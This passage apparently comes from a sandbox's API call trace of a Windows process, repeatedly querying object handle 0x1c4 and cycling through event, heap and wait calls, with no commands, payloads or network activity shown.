ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.399] ResetEvent (hEvent=0x110) returned 1 [0259.399] SetEvent (hEvent=0x114) returned 1 [0259.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.399] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.400] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.400] ResetEvent (hEvent=0x110) returned 1 [0259.400] SetEvent (hEvent=0x114) returned 1 [0259.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.400] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.401] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.401] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.401] ResetEvent (hEvent=0x110) returned 1 [0259.401] SetEvent (hEvent=0x114) returned 1 [0259.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.401] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.401] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.401] ResetEvent (hEvent=0x110) returned 1 [0259.401] SetEvent (hEvent=0x114) returned 1 [0259.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.402] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.402] ResetEvent (hEvent=0x110) returned 1 [0259.402] SetEvent (hEvent=0x114) returned 1 [0259.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.402] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.402] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.402] ResetEvent (hEvent=0x110) returned 1 [0259.402] SetEvent (hEvent=0x114) returned 1 [0259.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.402] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.403] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.403] ResetEvent (hEvent=0x110) returned 1 [0259.403] SetEvent (hEvent=0x114) returned 1 [0259.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.403] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.403] ResetEvent (hEvent=0x110) returned 1 [0259.403] SetEvent (hEvent=0x114) returned 1 [0259.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.403] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.403] ResetEvent (hEvent=0x110) returned 1 [0259.403] SetEvent (hEvent=0x114) returned 1 [0259.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.404] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.404] ResetEvent (hEvent=0x110) returned 1 [0259.404] SetEvent (hEvent=0x114) returned 1 [0259.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.404] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.404] ResetEvent (hEvent=0x110) returned 1 [0259.404] SetEvent (hEvent=0x114) returned 1 [0259.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.404] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.404] ResetEvent (hEvent=0x110) returned 1 [0259.404] SetEvent (hEvent=0x114) returned 1 [0259.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.405] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.405] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.405] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.405] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.405] ResetEvent (hEvent=0x110) returned 1 [0259.405] SetEvent (hEvent=0x114) returned 1 [0259.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.405] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.405] ResetEvent (hEvent=0x110) returned 1 [0259.405] SetEvent (hEvent=0x114) returned 1 [0259.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.405] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.405] ResetEvent (hEvent=0x110) returned 1 [0259.405] SetEvent (hEvent=0x114) returned 1 [0259.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.406] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.406] ResetEvent (hEvent=0x110) returned 1 [0259.406] SetEvent (hEvent=0x114) returned 1 [0259.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.406] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.406] ResetEvent (hEvent=0x110) returned 1 [0259.406] SetEvent (hEvent=0x114) returned 1 [0259.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.406] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.406] ResetEvent (hEvent=0x110) returned 1 [0259.407] SetEvent (hEvent=0x114) returned 1 [0259.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.407] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.407] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.407] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.407] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.407] ResetEvent (hEvent=0x110) returned 1 [0259.407] SetEvent (hEvent=0x114) returned 1 [0259.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.407] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.407] ResetEvent (hEvent=0x110) returned 1 [0259.407] SetEvent (hEvent=0x114) returned 1 [0259.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.408] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.408] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.408] ResetEvent (hEvent=0x110) returned 1 [0259.408] SetEvent (hEvent=0x114) returned 1 [0259.408] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.408] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.408] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.408] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.408] ResetEvent (hEvent=0x110) returned 1 [0259.408] SetEvent (hEvent=0x114) returned 1 [0259.408] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.408] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.408] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.408] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.408] ResetEvent (hEvent=0x110) returned 1 [0259.408] SetEvent (hEvent=0x114) returned 1 [0259.409] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.409] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.409] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.409] ResetEvent (hEvent=0x110) returned 1 [0259.409] SetEvent (hEvent=0x114) returned 1 [0259.409] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.409] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.409] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.409] ResetEvent (hEvent=0x110) returned 1 [0259.409] SetEvent (hEvent=0x114) returned 1 [0259.409] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.410] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.410] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.410] ResetEvent (hEvent=0x110) returned 1 [0259.410] SetEvent (hEvent=0x114) returned 1 [0259.410] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.410] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.410] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.410] ResetEvent (hEvent=0x110) returned 1 [0259.410] SetEvent (hEvent=0x114) returned 1 [0259.410] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.410] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.410] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.410] ResetEvent (hEvent=0x110) returned 1 [0259.410] SetEvent (hEvent=0x114) returned 1 [0259.410] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.457] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.457] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.457] ResetEvent (hEvent=0x110) returned 1 [0259.457] SetEvent (hEvent=0x114) returned 1 [0259.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.465] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.465] ResetEvent (hEvent=0x110) returned 1 [0259.465] SetEvent (hEvent=0x114) returned 1 [0259.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.465] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.465] ResetEvent (hEvent=0x110) returned 1 [0259.466] SetEvent (hEvent=0x114) returned 1 [0259.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.466] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.466] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.466] ResetEvent (hEvent=0x110) returned 1 [0259.466] SetEvent (hEvent=0x114) returned 1 [0259.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.466] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.466] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.466] ResetEvent (hEvent=0x110) returned 1 [0259.466] SetEvent (hEvent=0x114) returned 1 [0259.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.467] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.467] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.467] ResetEvent (hEvent=0x110) returned 1 [0259.467] SetEvent (hEvent=0x114) returned 1 [0259.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.467] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.467] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.467] ResetEvent (hEvent=0x110) returned 1 [0259.467] SetEvent (hEvent=0x114) returned 1 [0259.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.467] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.467] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.467] ResetEvent (hEvent=0x110) returned 1 [0259.467] SetEvent (hEvent=0x114) returned 1 [0259.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.468] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.468] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.468] ResetEvent (hEvent=0x110) returned 1 [0259.468] SetEvent (hEvent=0x114) returned 1 [0259.468] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.468] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.468] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.468] ResetEvent (hEvent=0x110) returned 1 [0259.468] SetEvent (hEvent=0x114) returned 1 [0259.468] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.468] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.468] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.468] ResetEvent (hEvent=0x110) returned 1 [0259.468] SetEvent (hEvent=0x114) returned 1 [0259.468] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.469] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.469] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.469] ResetEvent (hEvent=0x110) returned 1 [0259.469] SetEvent (hEvent=0x114) returned 1 [0259.469] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.469] 